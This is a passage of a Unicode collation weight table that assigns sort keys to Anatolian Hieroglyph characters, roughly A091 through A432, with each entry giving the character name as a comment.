[.52C1.0020.0002] # ANATOLIAN HIEROGLYPH A091 -14465 ; [.52C2.0020.0002] # ANATOLIAN HIEROGLYPH A092 -14466 ; [.52C3.0020.0002] # ANATOLIAN HIEROGLYPH A093 -14467 ; [.52C4.0020.0002] # ANATOLIAN HIEROGLYPH A094 -14468 ; [.52C5.0020.0002] # ANATOLIAN HIEROGLYPH A095 -14469 ; [.52C6.0020.0002] # ANATOLIAN HIEROGLYPH A096 -1446A ; [.52C7.0020.0002] # ANATOLIAN HIEROGLYPH A097 -1446B ; [.52C8.0020.0002] # ANATOLIAN HIEROGLYPH A097A -1446C ; [.52C9.0020.0002] # ANATOLIAN HIEROGLYPH A098 -1446D ; [.52CA.0020.0002] # ANATOLIAN HIEROGLYPH A098A -1446E ; [.52CB.0020.0002] # ANATOLIAN HIEROGLYPH A099 -1446F ; [.52CC.0020.0002] # ANATOLIAN HIEROGLYPH A100 -14470 ; [.52CD.0020.0002] # ANATOLIAN HIEROGLYPH A100A -14471 ; [.52CE.0020.0002] # ANATOLIAN HIEROGLYPH A101 -14472 ; [.52CF.0020.0002] # ANATOLIAN HIEROGLYPH A101A -14473 ; [.52D0.0020.0002] # ANATOLIAN HIEROGLYPH A102 -14474 ; [.52D1.0020.0002] # ANATOLIAN HIEROGLYPH A102A -14475 ; [.52D2.0020.0002] # ANATOLIAN HIEROGLYPH A103 -14476 ; [.52D3.0020.0002] # ANATOLIAN HIEROGLYPH A104 -14477 ; [.52D4.0020.0002] # ANATOLIAN HIEROGLYPH A104A -14478 ; [.52D5.0020.0002] # ANATOLIAN HIEROGLYPH A104B -14479 ; [.52D6.0020.0002] # ANATOLIAN HIEROGLYPH A104C -1447A ; [.52D7.0020.0002] # ANATOLIAN HIEROGLYPH A105 -1447B ; [.52D8.0020.0002] # ANATOLIAN HIEROGLYPH A105A -1447C ; [.52D9.0020.0002] # ANATOLIAN HIEROGLYPH A105B -1447D ; [.52DA.0020.0002] # ANATOLIAN HIEROGLYPH A106 -1447E ; [.52DB.0020.0002] # ANATOLIAN HIEROGLYPH A107 -1447F ; [.52DC.0020.0002] # ANATOLIAN HIEROGLYPH A107A -14480 ; [.52DD.0020.0002] # ANATOLIAN HIEROGLYPH A107B -14481 ; [.52DE.0020.0002] # ANATOLIAN HIEROGLYPH A107C -14482 ; [.52DF.0020.0002] # ANATOLIAN HIEROGLYPH A108 -14483 ; [.52E0.0020.0002] # ANATOLIAN HIEROGLYPH A109 -14484 ; [.52E1.0020.0002] # ANATOLIAN HIEROGLYPH A110 -14485 ; [.52E2.0020.0002] # ANATOLIAN HIEROGLYPH A110A -14486 ; [.52E3.0020.0002] # ANATOLIAN HIEROGLYPH A110B -14487 ; [.52E4.0020.0002] # ANATOLIAN HIEROGLYPH A111 -14488 ; [.52E5.0020.0002] # ANATOLIAN HIEROGLYPH A112 -14489 ; [.52E6.0020.0002] # ANATOLIAN HIEROGLYPH A113 -1448A ; [.52E7.0020.0002] # ANATOLIAN HIEROGLYPH A114 -1448B ; [.52E8.0020.0002] # ANATOLIAN HIEROGLYPH A115 -1448C ; [.52E9.0020.0002] # ANATOLIAN HIEROGLYPH A115A -1448D ; [.52EA.0020.0002] # ANATOLIAN HIEROGLYPH A116 -1448E ; [.52EB.0020.0002] # ANATOLIAN HIEROGLYPH A117 -1448F ; [.52EC.0020.0002] # ANATOLIAN HIEROGLYPH A118 -14490 ; [.52ED.0020.0002] # ANATOLIAN HIEROGLYPH A119 -14491 ; [.52EE.0020.0002] # ANATOLIAN HIEROGLYPH A120 -14492 ; [.52EF.0020.0002] # ANATOLIAN HIEROGLYPH A121 -14493 ; [.52F0.0020.0002] # ANATOLIAN HIEROGLYPH A122 -14494 ; [.52F1.0020.0002] # ANATOLIAN HIEROGLYPH A123 -14495 ; [.52F2.0020.0002] # ANATOLIAN HIEROGLYPH A124 -14496 ; [.52F3.0020.0002] # ANATOLIAN HIEROGLYPH A125 -14497 ; [.52F4.0020.0002] # ANATOLIAN HIEROGLYPH A125A -14498 ; [.52F5.0020.0002] # ANATOLIAN HIEROGLYPH A126 -14499 ; [.52F6.0020.0002] # ANATOLIAN HIEROGLYPH A127 -1449A ; [.52F7.0020.0002] # ANATOLIAN HIEROGLYPH A128 -1449B ; [.52F8.0020.0002] # ANATOLIAN HIEROGLYPH A129 -1449C ; [.52F9.0020.0002] # ANATOLIAN HIEROGLYPH A130 -1449D ; [.52FA.0020.0002] # ANATOLIAN HIEROGLYPH A131 -1449E ; [.52FB.0020.0002] # ANATOLIAN HIEROGLYPH A132 -1449F ; [.52FC.0020.0002] # ANATOLIAN HIEROGLYPH A133 -144A0 ; [.52FD.0020.0002] # ANATOLIAN HIEROGLYPH A134 -144A1 ; [.52FE.0020.0002] # ANATOLIAN HIEROGLYPH A135 -144A2 ; [.52FF.0020.0002] # ANATOLIAN HIEROGLYPH A135A -144A3 ; [.5300.0020.0002] # ANATOLIAN HIEROGLYPH A136 -144A4 ; [.5301.0020.0002] # ANATOLIAN HIEROGLYPH A137 -144A5 ; [.5302.0020.0002] # ANATOLIAN HIEROGLYPH A138 -144A6 ; [.5303.0020.0002] # ANATOLIAN HIEROGLYPH A139 -144A7 ; [.5304.0020.0002] # ANATOLIAN HIEROGLYPH A140 -144A8 ; [.5305.0020.0002] # ANATOLIAN HIEROGLYPH A141 -144A9 ; [.5306.0020.0002] # ANATOLIAN HIEROGLYPH A142 -144AA ; [.5307.0020.0002] # ANATOLIAN HIEROGLYPH A143 -144AB ; [.5308.0020.0002] # ANATOLIAN HIEROGLYPH A144 -144AC ; [.5309.0020.0002] # ANATOLIAN HIEROGLYPH A145 -144AD ; [.530A.0020.0002] # ANATOLIAN HIEROGLYPH A146 -144AE ; [.530B.0020.0002] # ANATOLIAN HIEROGLYPH A147 -144AF ; [.530C.0020.0002] # ANATOLIAN HIEROGLYPH A148 -144B0 ; [.530D.0020.0002] # ANATOLIAN HIEROGLYPH A149 -144B1 ; [.530E.0020.0002] # ANATOLIAN HIEROGLYPH A150 -144B2 ; [.530F.0020.0002] # ANATOLIAN HIEROGLYPH A151 -144B3 ; [.5310.0020.0002] # ANATOLIAN HIEROGLYPH A152 -144B4 ; [.5311.0020.0002] # ANATOLIAN HIEROGLYPH A153 -144B5 ; [.5312.0020.0002] # ANATOLIAN HIEROGLYPH A154 -144B6 ; [.5313.0020.0002] # ANATOLIAN HIEROGLYPH A155 -144B7 ; [.5314.0020.0002] # ANATOLIAN HIEROGLYPH A156 -144B8 ; [.5315.0020.0002] # ANATOLIAN HIEROGLYPH A157 -144B9 ; [.5316.0020.0002] # ANATOLIAN HIEROGLYPH A158 -144BA ; [.5317.0020.0002] # ANATOLIAN HIEROGLYPH A159 -144BB ; [.5318.0020.0002] # ANATOLIAN HIEROGLYPH A160 -144BC ; [.5319.0020.0002] # ANATOLIAN HIEROGLYPH A161 -144BD ; [.531A.0020.0002] # ANATOLIAN HIEROGLYPH A162 -144BE ; [.531B.0020.0002] # ANATOLIAN HIEROGLYPH A163 -144BF ; [.531C.0020.0002] # ANATOLIAN HIEROGLYPH A164 -144C0 ; [.531D.0020.0002] # ANATOLIAN HIEROGLYPH A165 -144C1 ; [.531E.0020.0002] # ANATOLIAN HIEROGLYPH A166 -144C2 ; [.531F.0020.0002] # ANATOLIAN HIEROGLYPH A167 -144C3 ; [.5320.0020.0002] # ANATOLIAN HIEROGLYPH A168 -144C4 ; [.5321.0020.0002] # ANATOLIAN HIEROGLYPH A169 -144C5 ; [.5322.0020.0002] # ANATOLIAN HIEROGLYPH A170 -144C6 ; [.5323.0020.0002] # ANATOLIAN HIEROGLYPH A171 -144C7 ; [.5324.0020.0002] # ANATOLIAN HIEROGLYPH A172 -144C8 ; [.5325.0020.0002] # ANATOLIAN HIEROGLYPH A173 -144C9 ; [.5326.0020.0002] # ANATOLIAN HIEROGLYPH A174 -144CA ; [.5327.0020.0002] # ANATOLIAN HIEROGLYPH A175 -144CB ; [.5328.0020.0002] # ANATOLIAN HIEROGLYPH A176 -144CC ; [.5329.0020.0002] # ANATOLIAN HIEROGLYPH A177 -144CD ; [.532A.0020.0002] # ANATOLIAN HIEROGLYPH A178 -144CE ; [.532B.0020.0002] # ANATOLIAN HIEROGLYPH A179 -144CF ; [.532C.0020.0002] # ANATOLIAN HIEROGLYPH A180 -144D0 ; [.532D.0020.0002] # ANATOLIAN HIEROGLYPH A181 -144D1 ; [.532E.0020.0002] # ANATOLIAN HIEROGLYPH A182 -144D2 ; [.532F.0020.0002] # ANATOLIAN HIEROGLYPH A183 -144D3 ; [.5330.0020.0002] # ANATOLIAN HIEROGLYPH A184 -144D4 ; [.5331.0020.0002] # ANATOLIAN HIEROGLYPH A185 -144D5 ; [.5332.0020.0002] # ANATOLIAN HIEROGLYPH A186 -144D6 ; [.5333.0020.0002] # ANATOLIAN HIEROGLYPH A187 -144D7 ; [.5334.0020.0002] # ANATOLIAN HIEROGLYPH A188 -144D8 ; [.5335.0020.0002] # ANATOLIAN HIEROGLYPH A189 -144D9 ; [.5336.0020.0002] # ANATOLIAN HIEROGLYPH A190 -144DA ; [.5337.0020.0002] # ANATOLIAN HIEROGLYPH A191 -144DB ; [.5338.0020.0002] # ANATOLIAN HIEROGLYPH A192 -144DC ; [.5339.0020.0002] # ANATOLIAN HIEROGLYPH A193 -144DD ; [.533A.0020.0002] # ANATOLIAN HIEROGLYPH A194 -144DE ; [.533B.0020.0002] # ANATOLIAN HIEROGLYPH A195 -144DF ; [.533C.0020.0002] # ANATOLIAN HIEROGLYPH A196 -144E0 ; [.533D.0020.0002] # ANATOLIAN HIEROGLYPH A197 -144E1 ; [.533E.0020.0002] # ANATOLIAN HIEROGLYPH A198 -144E2 ; [.533F.0020.0002] # ANATOLIAN HIEROGLYPH A199 -144E3 ; [.5340.0020.0002] # ANATOLIAN HIEROGLYPH A200 -144E4 ; [.5341.0020.0002] # ANATOLIAN HIEROGLYPH A201 -144E5 ; [.5342.0020.0002] # ANATOLIAN HIEROGLYPH A202 -144E6 ; [.5343.0020.0002] # ANATOLIAN HIEROGLYPH A202A -144E7 ; [.5344.0020.0002] # ANATOLIAN HIEROGLYPH A202B -144E8 ; [.5345.0020.0002] # ANATOLIAN HIEROGLYPH A203 -144E9 ; [.5346.0020.0002] # ANATOLIAN HIEROGLYPH A204 -144EA ; [.5347.0020.0002] # ANATOLIAN HIEROGLYPH A205 -144EB ; [.5348.0020.0002] # ANATOLIAN HIEROGLYPH A206 -144EC ; [.5349.0020.0002] # ANATOLIAN HIEROGLYPH A207 -144ED ; [.534A.0020.0002] # ANATOLIAN HIEROGLYPH A207A -144EE ; [.534B.0020.0002] # ANATOLIAN HIEROGLYPH A208 -144EF ; [.534C.0020.0002] # ANATOLIAN HIEROGLYPH A209 -144F0 ; [.534D.0020.0002] # ANATOLIAN HIEROGLYPH A209A -144F1 ; [.534E.0020.0002] # ANATOLIAN HIEROGLYPH A210 -144F2 ; [.534F.0020.0002] # ANATOLIAN HIEROGLYPH A211 -144F3 ; [.5350.0020.0002] # ANATOLIAN HIEROGLYPH A212 -144F4 ; [.5351.0020.0002] # ANATOLIAN HIEROGLYPH A213 -144F5 ; [.5352.0020.0002] # ANATOLIAN HIEROGLYPH A214 -144F6 ; [.5353.0020.0002] # ANATOLIAN HIEROGLYPH A215 -144F7 ; [.5354.0020.0002] # ANATOLIAN HIEROGLYPH A215A -144F8 ; [.5355.0020.0002] # ANATOLIAN HIEROGLYPH A216 -144F9 ; [.5356.0020.0002] # ANATOLIAN HIEROGLYPH A216A -144FA ; [.5357.0020.0002] # ANATOLIAN HIEROGLYPH A217 -144FB ; [.5358.0020.0002] # ANATOLIAN HIEROGLYPH A218 -144FC ; [.5359.0020.0002] # ANATOLIAN HIEROGLYPH A219 -144FD ; [.535A.0020.0002] # ANATOLIAN HIEROGLYPH A220 -144FE ; [.535B.0020.0002] # ANATOLIAN HIEROGLYPH A221 -144FF ; [.535C.0020.0002] # ANATOLIAN HIEROGLYPH A222 -14500 ; [.535D.0020.0002] # ANATOLIAN HIEROGLYPH A223 -14501 ; [.535E.0020.0002] # ANATOLIAN HIEROGLYPH A224 -14502 ; [.535F.0020.0002] # ANATOLIAN HIEROGLYPH A225 -14503 ; [.5360.0020.0002] # ANATOLIAN HIEROGLYPH A226 -14504 ; [.5361.0020.0002] # ANATOLIAN HIEROGLYPH A227 -14505 ; [.5362.0020.0002] # ANATOLIAN HIEROGLYPH A227A -14506 ; [.5363.0020.0002] # ANATOLIAN HIEROGLYPH A228 -14507 ; [.5364.0020.0002] # ANATOLIAN HIEROGLYPH A229 -14508 ; [.5365.0020.0002] # ANATOLIAN HIEROGLYPH A230 -14509 ; [.5366.0020.0002] # ANATOLIAN HIEROGLYPH A231 -1450A ; [.5367.0020.0002] # ANATOLIAN HIEROGLYPH A232 -1450B ; [.5368.0020.0002] # ANATOLIAN HIEROGLYPH A233 -1450C ; [.5369.0020.0002] # ANATOLIAN HIEROGLYPH A234 -1450D ; [.536A.0020.0002] # ANATOLIAN HIEROGLYPH A235 -1450E ; [.536B.0020.0002] # ANATOLIAN HIEROGLYPH A236 -1450F ; [.536C.0020.0002] # ANATOLIAN HIEROGLYPH A237 -14510 ; [.536D.0020.0002] # ANATOLIAN HIEROGLYPH A238 -14511 ; [.536E.0020.0002] # ANATOLIAN HIEROGLYPH A239 -14512 ; [.536F.0020.0002] # ANATOLIAN HIEROGLYPH A240 -14513 ; [.5370.0020.0002] # ANATOLIAN HIEROGLYPH A241 -14514 ; [.5371.0020.0002] # ANATOLIAN HIEROGLYPH A242 -14515 ; [.5372.0020.0002] # ANATOLIAN HIEROGLYPH A243 -14516 ; [.5373.0020.0002] # ANATOLIAN HIEROGLYPH A244 -14517 ; [.5374.0020.0002] # ANATOLIAN HIEROGLYPH A245 -14518 ; [.5375.0020.0002] # ANATOLIAN HIEROGLYPH A246 -14519 ; [.5376.0020.0002] # ANATOLIAN HIEROGLYPH A247 -1451A ; [.5377.0020.0002] # ANATOLIAN HIEROGLYPH A248 -1451B ; [.5378.0020.0002] # ANATOLIAN HIEROGLYPH A249 -1451C ; [.5379.0020.0002] # ANATOLIAN HIEROGLYPH A250 -1451D ; [.537A.0020.0002] # ANATOLIAN HIEROGLYPH A251 -1451E ; [.537B.0020.0002] # ANATOLIAN HIEROGLYPH A252 -1451F ; [.537C.0020.0002] # ANATOLIAN HIEROGLYPH A253 -14520 ; [.537D.0020.0002] # ANATOLIAN HIEROGLYPH A254 -14521 ; [.537E.0020.0002] # ANATOLIAN HIEROGLYPH A255 -14522 ; [.537F.0020.0002] # ANATOLIAN HIEROGLYPH A256 -14523 ; [.5380.0020.0002] # ANATOLIAN HIEROGLYPH A257 -14524 ; [.5381.0020.0002] # ANATOLIAN HIEROGLYPH A258 -14525 ; [.5382.0020.0002] # ANATOLIAN HIEROGLYPH A259 -14526 ; [.5383.0020.0002] # ANATOLIAN HIEROGLYPH A260 -14527 ; [.5384.0020.0002] # ANATOLIAN HIEROGLYPH A261 -14528 ; [.5385.0020.0002] # ANATOLIAN HIEROGLYPH A262 -14529 ; [.5386.0020.0002] # ANATOLIAN HIEROGLYPH A263 -1452A ; [.5387.0020.0002] # ANATOLIAN HIEROGLYPH A264 -1452B ; [.5388.0020.0002] # ANATOLIAN HIEROGLYPH A265 -1452C ; [.5389.0020.0002] # ANATOLIAN HIEROGLYPH A266 -1452D ; [.538A.0020.0002] # ANATOLIAN HIEROGLYPH A267 -1452E ; [.538B.0020.0002] # ANATOLIAN HIEROGLYPH A267A -1452F ; [.538C.0020.0002] # ANATOLIAN HIEROGLYPH A268 -14530 ; [.538D.0020.0002] # ANATOLIAN HIEROGLYPH A269 -14531 ; [.538E.0020.0002] # ANATOLIAN HIEROGLYPH A270 -14532 ; [.538F.0020.0002] # ANATOLIAN HIEROGLYPH A271 -14533 ; [.5390.0020.0002] # ANATOLIAN HIEROGLYPH A272 -14534 ; [.5391.0020.0002] # ANATOLIAN HIEROGLYPH A273 -14535 ; [.5392.0020.0002] # ANATOLIAN HIEROGLYPH A274 -14536 ; [.5393.0020.0002] # ANATOLIAN HIEROGLYPH A275 -14537 ; [.5394.0020.0002] # ANATOLIAN HIEROGLYPH A276 -14538 ; [.5395.0020.0002] # ANATOLIAN HIEROGLYPH A277 -14539 ; [.5396.0020.0002] # ANATOLIAN HIEROGLYPH A278 -1453A ; [.5397.0020.0002] # ANATOLIAN HIEROGLYPH A279 -1453B ; [.5398.0020.0002] # ANATOLIAN HIEROGLYPH A280 -1453C ; [.5399.0020.0002] # ANATOLIAN HIEROGLYPH A281 -1453D ; [.539A.0020.0002] # ANATOLIAN HIEROGLYPH A282 -1453E ; [.539B.0020.0002] # ANATOLIAN HIEROGLYPH A283 -1453F ; [.539C.0020.0002] # ANATOLIAN HIEROGLYPH A284 -14540 ; [.539D.0020.0002] # ANATOLIAN HIEROGLYPH A285 -14541 ; [.539E.0020.0002] # ANATOLIAN HIEROGLYPH A286 -14542 ; [.539F.0020.0002] # ANATOLIAN HIEROGLYPH A287 -14543 ; [.53A0.0020.0002] # ANATOLIAN HIEROGLYPH A288 -14544 ; [.53A1.0020.0002] # ANATOLIAN HIEROGLYPH A289 -14545 ; [.53A2.0020.0002] # ANATOLIAN HIEROGLYPH A289A -14546 ; [.53A3.0020.0002] # ANATOLIAN HIEROGLYPH A290 -14547 ; [.53A4.0020.0002] # ANATOLIAN HIEROGLYPH A291 -14548 ; [.53A5.0020.0002] # ANATOLIAN HIEROGLYPH A292 -14549 ; [.53A6.0020.0002] # ANATOLIAN HIEROGLYPH A293 -1454A ; [.53A7.0020.0002] # ANATOLIAN HIEROGLYPH A294 -1454B ; [.53A8.0020.0002] # ANATOLIAN HIEROGLYPH A294A -1454C ; [.53A9.0020.0002] # ANATOLIAN HIEROGLYPH A295 -1454D ; [.53AA.0020.0002] # ANATOLIAN HIEROGLYPH A296 -1454E ; [.53AB.0020.0002] # ANATOLIAN HIEROGLYPH A297 -1454F ; [.53AC.0020.0002] # ANATOLIAN HIEROGLYPH A298 -14550 ; [.53AD.0020.0002] # ANATOLIAN HIEROGLYPH A299 -14551 ; [.53AE.0020.0002] # ANATOLIAN HIEROGLYPH A299A -14552 ; [.53AF.0020.0002] # ANATOLIAN HIEROGLYPH A300 -14553 ; [.53B0.0020.0002] # ANATOLIAN HIEROGLYPH A301 -14554 ; [.53B1.0020.0002] # ANATOLIAN HIEROGLYPH A302 -14555 ; [.53B2.0020.0002] # ANATOLIAN HIEROGLYPH A303 -14556 ; [.53B3.0020.0002] # ANATOLIAN HIEROGLYPH A304 -14557 ; [.53B4.0020.0002] # ANATOLIAN HIEROGLYPH A305 -14558 ; [.53B5.0020.0002] # ANATOLIAN HIEROGLYPH A306 -14559 ; [.53B6.0020.0002] # ANATOLIAN HIEROGLYPH A307 -1455A ; [.53B7.0020.0002] # ANATOLIAN HIEROGLYPH A308 -1455B ; [.53B8.0020.0002] # ANATOLIAN HIEROGLYPH A309 -1455C ; [.53B9.0020.0002] # ANATOLIAN HIEROGLYPH A309A -1455D ; [.53BA.0020.0002] # ANATOLIAN HIEROGLYPH A310 -1455E ; [.53BB.0020.0002] # ANATOLIAN HIEROGLYPH A311 -1455F ; [.53BC.0020.0002] # ANATOLIAN HIEROGLYPH A312 -14560 ; [.53BD.0020.0002] # ANATOLIAN HIEROGLYPH A313 -14561 ; [.53BE.0020.0002] # ANATOLIAN HIEROGLYPH A314 -14562 ; [.53BF.0020.0002] # ANATOLIAN HIEROGLYPH A315 -14563 ; [.53C0.0020.0002] # ANATOLIAN HIEROGLYPH A316 -14564 ; [.53C1.0020.0002] # ANATOLIAN HIEROGLYPH A317 -14565 ; [.53C2.0020.0002] # ANATOLIAN HIEROGLYPH A318 -14566 ; [.53C3.0020.0002] # ANATOLIAN HIEROGLYPH A319 -14567 ; [.53C4.0020.0002] # ANATOLIAN HIEROGLYPH A320 -14568 ; [.53C5.0020.0002] # ANATOLIAN HIEROGLYPH A321 -14569 ; [.53C6.0020.0002] # ANATOLIAN HIEROGLYPH A322 -1456A ; [.53C7.0020.0002] # ANATOLIAN HIEROGLYPH A323 -1456B ; [.53C8.0020.0002] # ANATOLIAN HIEROGLYPH A324 -1456C ; [.53C9.0020.0002] # ANATOLIAN HIEROGLYPH A325 -1456D ; [.53CA.0020.0002] # ANATOLIAN HIEROGLYPH A326 -1456E ; [.53CB.0020.0002] # ANATOLIAN HIEROGLYPH A327 -1456F ; [.53CC.0020.0002] # ANATOLIAN HIEROGLYPH A328 -14570 ; [.53CD.0020.0002] # ANATOLIAN HIEROGLYPH A329 -14571 ; [.53CE.0020.0002] # ANATOLIAN HIEROGLYPH A329A -14572 ; [.53CF.0020.0002] # ANATOLIAN HIEROGLYPH A330 -14573 ; [.53D0.0020.0002] # ANATOLIAN HIEROGLYPH A331 -14574 ; [.53D1.0020.0002] # ANATOLIAN HIEROGLYPH A332A -14575 ; [.53D2.0020.0002] # ANATOLIAN HIEROGLYPH A332B -14576 ; [.53D3.0020.0002] # ANATOLIAN HIEROGLYPH A332C -14577 ; [.53D4.0020.0002] # ANATOLIAN HIEROGLYPH A333 -14578 ; [.53D5.0020.0002] # ANATOLIAN HIEROGLYPH A334 -14579 ; [.53D6.0020.0002] # ANATOLIAN HIEROGLYPH A335 -1457A ; [.53D7.0020.0002] # ANATOLIAN HIEROGLYPH A336 -1457B ; [.53D8.0020.0002] # ANATOLIAN HIEROGLYPH A336A -1457C ; [.53D9.0020.0002] # ANATOLIAN HIEROGLYPH A336B -1457D ; [.53DA.0020.0002] # ANATOLIAN HIEROGLYPH A336C -1457E ; [.53DB.0020.0002] # ANATOLIAN HIEROGLYPH A337 -1457F ; [.53DC.0020.0002] # ANATOLIAN HIEROGLYPH A338 -14580 ; [.53DD.0020.0002] # ANATOLIAN HIEROGLYPH A339 -14581 ; [.53DE.0020.0002] # ANATOLIAN HIEROGLYPH A340 -14582 ; [.53DF.0020.0002] # ANATOLIAN HIEROGLYPH A341 -14583 ; [.53E0.0020.0002] # ANATOLIAN HIEROGLYPH A342 -14584 ; [.53E1.0020.0002] # ANATOLIAN HIEROGLYPH A343 -14585 ; [.53E2.0020.0002] # ANATOLIAN HIEROGLYPH A344 -14586 ; [.53E3.0020.0002] # ANATOLIAN HIEROGLYPH A345 -14587 ; [.53E4.0020.0002] # ANATOLIAN HIEROGLYPH A346 -14588 ; [.53E5.0020.0002] # ANATOLIAN HIEROGLYPH A347 -14589 ; [.53E6.0020.0002] # ANATOLIAN HIEROGLYPH A348 -1458A ; [.53E7.0020.0002] # ANATOLIAN HIEROGLYPH A349 -1458B ; [.53E8.0020.0002] # ANATOLIAN HIEROGLYPH A350 -1458C ; [.53E9.0020.0002] # ANATOLIAN HIEROGLYPH A351 -1458D ; [.53EA.0020.0002] # ANATOLIAN HIEROGLYPH A352 -1458E ; [.53EB.0020.0002] # ANATOLIAN HIEROGLYPH A353 -1458F ; [.53EC.0020.0002] # ANATOLIAN HIEROGLYPH A354 -14590 ; [.53ED.0020.0002] # ANATOLIAN HIEROGLYPH A355 -14591 ; [.53EE.0020.0002] # ANATOLIAN HIEROGLYPH A356 -14592 ; [.53EF.0020.0002] # ANATOLIAN HIEROGLYPH A357 -14593 ; [.53F0.0020.0002] # ANATOLIAN HIEROGLYPH A358 -14594 ; [.53F1.0020.0002] # ANATOLIAN HIEROGLYPH A359 -14595 ; [.53F2.0020.0002] # ANATOLIAN HIEROGLYPH A359A -14596 ; [.53F3.0020.0002] # ANATOLIAN HIEROGLYPH A360 -14597 ; [.53F4.0020.0002] # ANATOLIAN HIEROGLYPH A361 -14598 ; [.53F5.0020.0002] # ANATOLIAN HIEROGLYPH A362 -14599 ; [.53F6.0020.0002] # ANATOLIAN HIEROGLYPH A363 -1459A ; [.53F7.0020.0002] # ANATOLIAN HIEROGLYPH A364 -1459B ; [.53F8.0020.0002] # ANATOLIAN HIEROGLYPH A364A -1459C ; [.53F9.0020.0002] # ANATOLIAN HIEROGLYPH A365 -1459D ; [.53FA.0020.0002] # ANATOLIAN HIEROGLYPH A366 -1459E ; [.53FB.0020.0002] # ANATOLIAN HIEROGLYPH A367 -1459F ; [.53FC.0020.0002] # ANATOLIAN HIEROGLYPH A368 -145A0 ; [.53FD.0020.0002] # ANATOLIAN HIEROGLYPH A368A -145A1 ; [.53FE.0020.0002] # ANATOLIAN HIEROGLYPH A369 -145A2 ; [.53FF.0020.0002] # ANATOLIAN HIEROGLYPH A370 -145A3 ; [.5400.0020.0002] # ANATOLIAN HIEROGLYPH A371 -145A4 ; [.5401.0020.0002] # ANATOLIAN HIEROGLYPH A371A -145A5 ; [.5402.0020.0002] # ANATOLIAN HIEROGLYPH A372 -145A6 ; [.5403.0020.0002] # ANATOLIAN HIEROGLYPH A373 -145A7 ; [.5404.0020.0002] # ANATOLIAN HIEROGLYPH A374 -145A8 ; [.5405.0020.0002] # ANATOLIAN HIEROGLYPH A375 -145A9 ; [.5406.0020.0002] # ANATOLIAN HIEROGLYPH A376 -145AA ; [.5407.0020.0002] # ANATOLIAN HIEROGLYPH A377 -145AB ; [.5408.0020.0002] # ANATOLIAN HIEROGLYPH A378 -145AC ; [.5409.0020.0002] # ANATOLIAN HIEROGLYPH A379 -145AD ; [.540A.0020.0002] # ANATOLIAN HIEROGLYPH A380 -145AE ; [.540B.0020.0002] # ANATOLIAN HIEROGLYPH A381 -145AF ; [.540C.0020.0002] # ANATOLIAN HIEROGLYPH A381A -145B0 ; [.540D.0020.0002] # ANATOLIAN HIEROGLYPH A382 -145B1 ; [.540E.0020.0002] # ANATOLIAN HIEROGLYPH A383 RA OR RI -145B2 ; [.540F.0020.0002] # ANATOLIAN HIEROGLYPH A383A -145B3 ; [.5410.0020.0002] # ANATOLIAN HIEROGLYPH A384 -145B4 ; [.5411.0020.0002] # ANATOLIAN HIEROGLYPH A385 -145B5 ; [.5412.0020.0002] # ANATOLIAN HIEROGLYPH A386 -145B6 ; [.5413.0020.0002] # ANATOLIAN HIEROGLYPH A386A -145B7 ; [.5414.0020.0002] # ANATOLIAN HIEROGLYPH A387 -145B8 ; [.5415.0020.0002] # ANATOLIAN HIEROGLYPH A388 -145B9 ; [.5416.0020.0002] # ANATOLIAN HIEROGLYPH A389 -145BA ; [.5417.0020.0002] # ANATOLIAN HIEROGLYPH A390 -145BB ; [.5418.0020.0002] # ANATOLIAN HIEROGLYPH A391 -145BC ; [.5419.0020.0002] # ANATOLIAN HIEROGLYPH A392 -145BD ; [.541A.0020.0002] # ANATOLIAN HIEROGLYPH A393 EIGHT -145BE ; [.541B.0020.0002] # ANATOLIAN HIEROGLYPH A394 -145BF ; [.541C.0020.0002] # ANATOLIAN HIEROGLYPH A395 -145C0 ; [.541D.0020.0002] # ANATOLIAN HIEROGLYPH A396 -145C1 ; [.541E.0020.0002] # ANATOLIAN HIEROGLYPH A397 -145C2 ; [.541F.0020.0002] # ANATOLIAN HIEROGLYPH A398 -145C3 ; [.5420.0020.0002] # ANATOLIAN HIEROGLYPH A399 -145C4 ; [.5421.0020.0002] # ANATOLIAN HIEROGLYPH A400 -145C5 ; [.5422.0020.0002] # ANATOLIAN HIEROGLYPH A401 -145C6 ; [.5423.0020.0002] # ANATOLIAN HIEROGLYPH A402 -145C7 ; [.5424.0020.0002] # ANATOLIAN HIEROGLYPH A403 -145C8 ; [.5425.0020.0002] # ANATOLIAN HIEROGLYPH A404 -145C9 ; [.5426.0020.0002] # ANATOLIAN HIEROGLYPH A405 -145CA ; [.5427.0020.0002] # ANATOLIAN HIEROGLYPH A406 -145CB ; [.5428.0020.0002] # ANATOLIAN HIEROGLYPH A407 -145CC ; [.5429.0020.0002] # ANATOLIAN HIEROGLYPH A408 -145CD ; [.542A.0020.0002] # ANATOLIAN HIEROGLYPH A409 -145CE ; [.542B.0020.0002] # ANATOLIAN HIEROGLYPH A410 BEGIN LOGOGRAM MARK -145CF ; [.542C.0020.0002] # ANATOLIAN HIEROGLYPH A410A END LOGOGRAM MARK -145D0 ; [.542D.0020.0002] # ANATOLIAN HIEROGLYPH A411 -145D1 ; [.542E.0020.0002] # ANATOLIAN HIEROGLYPH A412 -145D2 ; [.542F.0020.0002] # ANATOLIAN HIEROGLYPH A413 -145D3 ; [.5430.0020.0002] # ANATOLIAN HIEROGLYPH A414 -145D4 ; [.5431.0020.0002] # ANATOLIAN HIEROGLYPH A415 -145D5 ; [.5432.0020.0002] # ANATOLIAN HIEROGLYPH A416 -145D6 ; [.5433.0020.0002] # ANATOLIAN HIEROGLYPH A417 -145D7 ; [.5434.0020.0002] # ANATOLIAN HIEROGLYPH A418 -145D8 ; [.5435.0020.0002] # ANATOLIAN HIEROGLYPH A419 -145D9 ; [.5436.0020.0002] # ANATOLIAN HIEROGLYPH A420 -145DA ; [.5437.0020.0002] # ANATOLIAN HIEROGLYPH A421 -145DB ; [.5438.0020.0002] # ANATOLIAN HIEROGLYPH A422 -145DC ; [.5439.0020.0002] # ANATOLIAN HIEROGLYPH A423 -145DD ; [.543A.0020.0002] # ANATOLIAN HIEROGLYPH A424 -145DE ; [.543B.0020.0002] # ANATOLIAN HIEROGLYPH A425 -145DF ; [.543C.0020.0002] # ANATOLIAN HIEROGLYPH A426 -145E0 ; [.543D.0020.0002] # ANATOLIAN HIEROGLYPH A427 -145E1 ; [.543E.0020.0002] # ANATOLIAN HIEROGLYPH A428 -145E2 ; [.543F.0020.0002] # ANATOLIAN HIEROGLYPH A429 -145E3 ; [.5440.0020.0002] # ANATOLIAN HIEROGLYPH A430 -145E4 ; [.5441.0020.0002] # ANATOLIAN HIEROGLYPH A431 -145E5 ; [.5442.0020.0002] # ANATOLIAN HIEROGLYPH A432 -145E6 ; [.5443.0020.0002] # ANATOLIAN 